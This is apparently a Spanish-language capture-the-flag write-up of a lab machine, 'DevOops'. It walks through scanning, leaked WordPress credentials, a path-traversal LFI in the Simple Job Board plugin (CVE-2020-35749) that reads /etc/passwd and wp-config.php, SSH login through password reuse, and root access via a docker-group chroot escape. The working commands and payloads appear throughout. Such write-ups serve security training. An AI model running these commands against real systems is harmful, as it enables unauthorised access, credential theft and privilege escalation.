Table of Contents
CyberWave: DevOops Writeup
Welcome to my detailed writeup of the easy difficulty machine “DevOops” on CyberWave. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.10.10.4 --ulimit 5000 -g
210.10.10.4 -> [22,80]
1nmap -p22,80 -sCV 10.10.10.4 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 17:09 CET
3Nmap scan report for 10.10.10.4
4Host is up (0.027s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
8| ssh-hostkey:
9| 2048 1f:ac:54:bc:02:1b:dd:5b:f3:fc:40:22:53:2e:2a:4a (RSA)
10| 256 d9:93:da:cf:fa:e9:a5:97:88:7f:fb:07:55:0e:4d:51 (ECDSA)
11|_ 256 44:bd:56:bb:3c:b1:75:e9:e2:0c:03:73:03:fb:88:51 (ED25519)
1280/tcp open http Apache httpd
13| http-ls: Volume /
14| SIZE TIME FILENAME
15| - 2022-02-27 18:29 wordpress/
16|_
17|_http-server-header: Apache
18|_http-title: Index of /
19Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
20
21Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
22Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.10.10.4 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 17:09 CET
3Nmap scan report for 10.10.10.4
4Host is up (0.028s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7445/udp closed microsoft-ds
88010/udp closed unknown
917605/udp closed unknown
1022292/udp closed unknown
1151586/udp closed unknown
1257172/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
Después del escaneo inicial, podemos suponer que el vector de ataque va a ser por el servicio web expuesto en el puerto 80 ya que la versión de SSH no es vulnerable.
HTTP Enumeration
Con whatweb
si intentamos acceder al recurso que vemos en /wordpress
se nos redirecciona al dominio devoops.bsh
, vamos a añadirlo al /etc/hosts
1whatweb http://10.10.10.4/wordpress
2http://10.10.10.4/wordpress [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.10.4], RedirectLocation[http://10.10.10.4/wordpress/], Title[301 Moved Permanently]
3http://10.10.10.4/wordpress/ [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.10.4], RedirectLocation[http://devoops.bsh/wordpress/], UncommonHeaders[x-redirect-by]
4ERROR Opening: http://devoops.bsh/wordpress/ - no address for devoops.bsh
Ahora si podemos lanzar un whatweb
y nos interesa la versión de wordpress
que es la 5.9.1
aparentemente por las etiquetas meta
1whatweb http://devoops.bsh/wordpress
2http://devoops.bsh/wordpress [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.10.4], RedirectLocation[http://devoops.bsh/wordpress/], Title[301 Moved Permanently]
3http://devoops.bsh/wordpress/ [200 OK] Apache, Country[RESERVED][ZZ], Email[office@example.com], HTML5, HTTPServer[Apache], IP[10.10.10.4], JQuery[3.6.0], MetaGenerator[WordPress 5.9.1], PoweredBy[Astra], Script[text/javascript], Title[Tech Job Board – DevOops | Tech Job Board], UncommonHeaders[link], WordPress[5.9.1]
Así se ve el sitio web.
Encontramos algunos usuarios, vamos a crearnos una lista de posibles nombres de usuario por si la necesitamos mas adelante.
1cat -p users.txt
2jeniffersmith
3j.smith
4jeniffer.s
5jsmith
6pameladuncan
7p.duncan
8pamela.d
9pduncan
10stevetailor
11s.tailor
12steve.t
13stailor
Information Disclosure (exposed user credentials)
Enumerando por encima el wordpress, encontré que en el directorio /wp-content/uploads
está habilitado el Directory Listing.
Y nos encontramos un archivo bastante interesante.
El archivo contiene lo siguiente.
1sarah
2vlVL6hcA4s1k
Tiene pinta de que son unas credenciales.
Probando estas credenciales en el panel de inicio de sesión en /wp-admin
conseguimos iniciar sesión.
Esta cuenta no tiene permisos de administrador, por lo cual no podemos hacer la típica intrusión de editar el tema actual y ejecutar código…
Local File Inclusion
Desde el primer reconocimiento de la página, hemos visto que hay una funcionalidad para poder enviar tu CV y aplicar a un puesto de trabajo, esto obviamente WordPress no lo incluye por defecto por lo cual debe de ser un plugin, para buscar como es, vamos al menú administrativo del plugin y vamos a copiar y pegar la referencia del archivo.
Una búsqueda en Google nos revela cual es el plugin que se está utilizando, no necesariamente tiene que ser la versión que nos muestra Google, pero el plugin debe de ser ese.
En este menú, en el pie de página, encontramos una versión, pero al buscar por Google, vemos que la última versión es la 2.13.1
por lo cual esto es imposible.
Nos encontramos también con este PoC, explota un Local File Inclusion en la versión 2.9.3 de este plugin. Por probar no perdemos nada.
Sorprendentemente funciona, sinceramente he tenido suerte ya que no había detectado la versión del plugin y he probado por probar..
1python3 lfi.py http://devoops.bsh/wordpress/ /etc/passwd sarah vlVL6hcA4s1k
2
3Y88b / 888~~ 888 ,e, d8
4 Y88b / 888-~88e 888___ Y88b / 888-~88e 888 e88~-_ " _d88__
5 Y88b e / 888 888b ____ 888 Y88b/ 888 888b 888 d888 i 888 888
6 Y88bd8b/ 888 8888 888 Y88b 888 8888 888 8888 | 888 888
7 Y88Y8Y 888 888P 888 /Y88b 888 888P 888 Y888 ' 888 888
8 Y Y 888-_88" 888___ / Y88b 888-_88" 888 "88_-~ 888 "88_/
9 888 888
10 (CVE-2020-35749)
11 { Coded By: Ven3xy | Github: https://github.com/M4xSec/ }
12
13
14[+] Trying to fetch the contents from /etc/passwd
15
16
17root:x:0:0:root:/root:/bin/bash
18daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
19bin:x:2:2:bin:/bin:/usr/sbin/nologin
20sys:x:3:3:sys:/dev:/usr/sbin/nologin
21sync:x:4:65534:sync:/bin:/bin/sync
22games:x:5:60:games:/usr/games:/usr/sbin/nologin
23man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
24lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
25mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
26news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
27uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
28proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
29www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
30backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
31list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
32irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
33gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
34nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
35_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
36systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
37systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
38systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
39messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
40sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
41john:x:1000:1000:John Doe,,,:/home/john:/bin/bash
42systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
43mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
44
45
46[+] Output Saved as: output.txt
De estos usuarios solo me interesa el usuario john
ya que es el único que tiene una bash.
Mini Code Analysis
Antes de seguir quiero explicar de forma resumida que hace el PoC que hemos explotado.
Construye una URL maliciosa:
1wp-admin/post.php?post=application_id&action=edit&sjb_file=<ruta_del_archivo>
Y parece ser que el parámetro sjb_file
es vulnerable a LFI, luego simplemente se realiza la petición de tipo GET y se consigue el contenido del archivo especificado.
Analizando el código de simple-job-board/includes/class-simple_job_board_resume_download_handler.php
vemos que en ningún momento se filtra el parámetro sjb_file
y directamente se construye una ruta de archivo utilizando el valor de este parámetro.
Para hacerlo manualmente, simplemente hacemos una petición GET (desde el navegador mismamente) a esta ruta (por ejemplo)
1http://devoops.bsh/wordpress/wp-admin/post.php?post=application_id&action=edit&sjb_file=../../../../etc/passwd
Al hacerlo se nos descarga el archivo deseado.
Y simplemente podemos leerlo.
1cat -p /home/kali/Downloads/passwd
2root:x:0:0:root:/root:/bin/bash
3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4bin:x:2:2:bin:/bin:/usr/sbin/nologin
5sys:x:3:3:sys:/dev:/usr/sbin/nologin
6sync:x:4:65534:sync:/bin:/bin/sync
7games:x:5:60:games:/usr/games:/usr/sbin/nologin
8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
18gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
21systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
22systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
23systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
24messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
25sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
26john:x:1000:1000:John Doe,,,:/home/john:/bin/bash
27systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
28mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
Exfiltrating wp-config.php
Podemos revisar la configuración del apache (sabemos que es un servidor web apache ya que antes whatweb
lo ha reportado) y vemos que el servidor web se aloja en la ruta por defecto.
Podemos intentar leer el wp-config.php
en /var/www/html/wordpress/wp-config.php
y conseguimos ver unas credenciales de acceso a la base de datos.
Abusing Credentials Reuse -> Foothold
Podemos probar si se reutilizan credenciales con el usuario john
que hemos detectado antes y vemos que si.
1sshpass -p 'Cwz+hJ672CP' ssh john@devoops.bsh
2Linux devoops 4.19.0-26-amd64 #1 SMP Debian 4.19.304-1 (2024-01-09) x86_64
3
4The programs included with the Debian GNU/Linux system are free software;
5the exact distribution terms for each program are described in the
6individual files in /usr/share/doc/*/copyright.
7
8Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
9permitted by applicable law.
10john@devoops:~$ id
11uid=1000(john) gid=1000(john) groups=1000(john),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),998(docker)
Podemos leer la flag de usuario.
1john@devoops:~$ cat user.txt
2a8fb899a576d...
Privilege Escalation
Abusing docker
group
Vemos que el usuario john
pertenece al grupo docker
1john@devoops:/opt/containerd$ id
2uid=1000(john) gid=1000(john) groups=1000(john),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),998(docker)
Existe una forma de escalar privilegios cuando un usuario pertenece a este grupo. Primero vamos a ver si tenemos imágenes en docker o tengo que descargarme una…
1john@devoops:/opt/containerd$ docker images
2REPOSITORY TAG IMAGE ID CREATED SIZE
3alpine latest c059bfaa849c 2 years ago 5.59MB
Tenemos una imagen de alpine
, nos sirve perfectamente para escalar privilegios.
Podemos consultar GTFOBins que también contempla algunas posibilidades teniendo permisos sobre el binario de docker
Y vemos el siguiente comando, si lo ejecutamos se ejecutará un contenedor alpine
.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Al montar /
en /mnt
y usar chroot
, el contenedor puede interactuar directamente con los archivos del sistema host y ya habríamos escalado privilegios.
1john@devoops:/opt/containerd$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
2# ls -la /root
3total 36
4drwx------ 4 root root 4096 Mar 5 2022 .
5drwxr-xr-x 18 root root 4096 May 7 17:34 ..
6-rw------- 1 root root 1649 Feb 24 2022 .bash_history
7-rw-r--r-- 1 root root 597 Feb 24 2022 .bashrc
8drwx------ 3 root root 4096 Mar 5 2022 .gnupg
9drwxr-xr-x 3 root root 4096 Feb 24 2022 .local
10-rw------- 1 root root 417 Feb 27 2022 .mysql_history
11-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
12-r--r----- 1 root root 33 Feb 24 2022 root.txt
Si queremos pivotar a root
en la máquina anfitriona, podríamos asignar el bit de SUID al binario /bin/bash
y lanzarnos una sesión privilegiada con bash -p
, pero como estoy en un entorno compartido, no lo voy a hacer.
Podemos leer la flag de root
1# cat /root/root.txt
25b887382629cc...
¡Y ya estaría!
Happy Hacking! 🚀
#CyberWave #DevOops #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #Information Disclosure #Exposed Credentials #Local File Inclusion #Code Analysis #Abusing Credentials Reuse #Abusing Docker